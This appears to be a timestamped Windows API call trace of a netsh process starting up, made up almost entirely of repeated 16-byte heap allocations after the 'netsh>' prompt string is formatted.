	[0215.459] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0215.459] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b4590000
	[0215.459] _vsnwprintf (in: _Buffer=0x7ff7b45a9b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x7e07767898 | out: _Buffer="netsh>") returned 6
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e600
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e6a0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e5e0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e6c0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e8e0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ebc0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e5a0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e9a0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e900
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ea80
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e7c0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eb80
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e620
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ebe0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ec20
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e6e0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ec40
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ea00
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e920
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eb00
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.460] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e4c0
	[0215.460] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eb60
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e700
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e560
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e9e0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ea20
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e540
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e740
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e660
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eac0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eaa0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ea40
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e840
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e9c0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eba0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e680
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e5c0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e640
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eae0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e720
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e760
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ec00
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e8a0
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e520
	[0215.461] GetProcessHeap () returned 0x1fa72860000
	[0215.461] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eb20
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e780
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e7a0
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e7e0
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ea60
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e940
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e820
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286eb40
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e800
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e580
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e4e0
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e8c0
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e860
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e880
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e960
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e500
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286e980
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fea0
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fb40
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fb60
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.462] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fde0
	[0215.462] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ffe0
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ff60
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870020
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f9a0
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ff20
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286faa0
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f920
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ff40
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ff80
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fc00
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fee0
	[0215.465] GetProcessHeap () returned 0x1fa72860000
	[0215.465] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f9c0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fa40
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fec0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fc20
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fc80
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fc40
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ff00
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fbc0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870040
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ffa0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fa60
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fc60
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286ffc0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fd60
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870000
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fb80
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fd00
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fe20
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fdc0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fa00
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f8c0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fe00
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fac0
	[0215.466] GetProcessHeap () returned 0x1fa72860000
	[0215.466] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f940
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f8e0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fae0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fcc0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f900
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fd40
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fca0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fba0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f960
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f9e0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286f980
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fa20
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fa80
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fb00
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fd80
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fbe0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fb20
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fce0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fd20
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fda0
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fe40
	[0215.467] GetProcessHeap () returned 0x1fa72860000
	[0215.467] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fe60
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa7286fe80
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728705f0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870850
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728708d0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870b70
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870870
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870690
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728708b0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728704f0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728709f0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870a90
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728706f0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870530
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870610
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728709b0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728707f0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728705d0
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870a30
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870550
	[0215.468] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870950
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728708f0
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728707d0
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870910
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870bb0
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870710
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728704d0
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870a50
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870930
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870a70
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870570
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870830
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870890
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728709d0
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870ad0
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870730
	[0215.469] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870590
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870750
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870770
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728706d0
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870790
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870ab0
	[0215.470] GetProcessHeap () returned 0x1fa72860000
	[0215.470] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72870970
